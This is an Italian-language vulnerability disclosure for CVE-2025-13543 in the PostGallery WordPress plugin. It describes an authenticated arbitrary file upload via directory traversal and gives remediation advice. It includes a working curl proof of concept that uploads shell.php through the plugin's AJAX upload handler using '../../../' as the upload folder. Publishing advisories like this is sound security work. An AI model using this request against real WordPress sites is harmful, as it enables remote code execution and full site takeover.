PostGallery-CVE-Report

Divulgazione per CVE-2025-13543

CVE-2025-13543 - Vulnerabilità in PostGallery

Questo repository divulga una vulnerabilità scoperta in PostGallery <= 1.12.5, plugin WordPress sviluppato da rtowebsites.

🛠 Versione Affetta

• Prodotto: PostGallery
• Versione: <= 1.12.5
• URL: https://wordpress.org/plugins/postgallery/

🔒 CVE Assegnato

🧾 Descrizione Dettagliata

CVE-2025-13543 — Caricamento Arbitrario di File Autenticato (Subscriber+)

• Componente Affetto: Gestore AJAX di upload di PostGallery (postgalleryAjaxUpload) e backend PostGalleryUploader
• Vettore d'Attacco: Caricamento Arbitrario di File Autenticato (Subscriber+) tramite directory traversal.
• Attivazione: Qualsiasi utente autenticato con privilegi bassi (come un Abbonato) può caricare file PHP arbitrari in percorsi controllati dall'attaccante tramite directory traversal.

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

• Impatto: Qualsiasi utente autenticato con privilegi bassi (come un Abbonato) può caricare file PHP arbitrari in percorsi controllati dall'attaccante tramite directory traversal. Ciò consente l'esecuzione remota di codice nel contesto del server web, portando al compromesso totale del sito, inclusa la modifica dei contenuti del sito, l'esfiltrazione di wp-config.php e delle credenziali del database, l'implementazione di backdoor persistenti e la creazione di account amministratore rogue.

❓Motivo della vulnerabilità

• In lib/ajax-actions/imageUpload.php, applicare un'autorizzazione adeguata (ad esempio, richiedere current_user_can('upload_files')) e convalidare un nonce crittografico prima di elaborare gli upload.
• In admin/PostGalleryUploader.php, vincolare strettamente uploadFolder a una sottodirectory nota di wp-content/uploads/gallery, rifiutare qualsiasi valore contenente ../ o percorsi assoluti, e normalizzare i percorsi prima dell'uso.
• Utilizzare le API di upload standard di WordPress come wp_handle_upload() / wp_check_filetype_and_ext() e limitare gli upload a una whitelist di tipi di file non eseguibili, bloccando esplicitamente .php e altre estensioni eseguibili in directory accessibili dal web.

ひとこと

Non avrei mai pensato che potesse esistere una vulnerabilità simile a una CTF... Un semplice caricamento arbitrario di file sarebbe già grave, ma con l'aggiunta di un directory traversal è la disperazione. Riprodurre la vulnerabilità è stato molto divertente.

🔍 Scopritore

Nome: MooseLove
Ruolo: Ricercatore di sicurezza indipendente / bug hunter
Contatto: Disponibile su richiesta

📚 Riferimenti

• Prodotto: https://wordpress.org/plugins/postgallery/

⚠️ Licenza

Questa segnalazione è fornita per sensibilizzare sulla sicurezza pubblica. Liberamente condivisibile con attribuzione.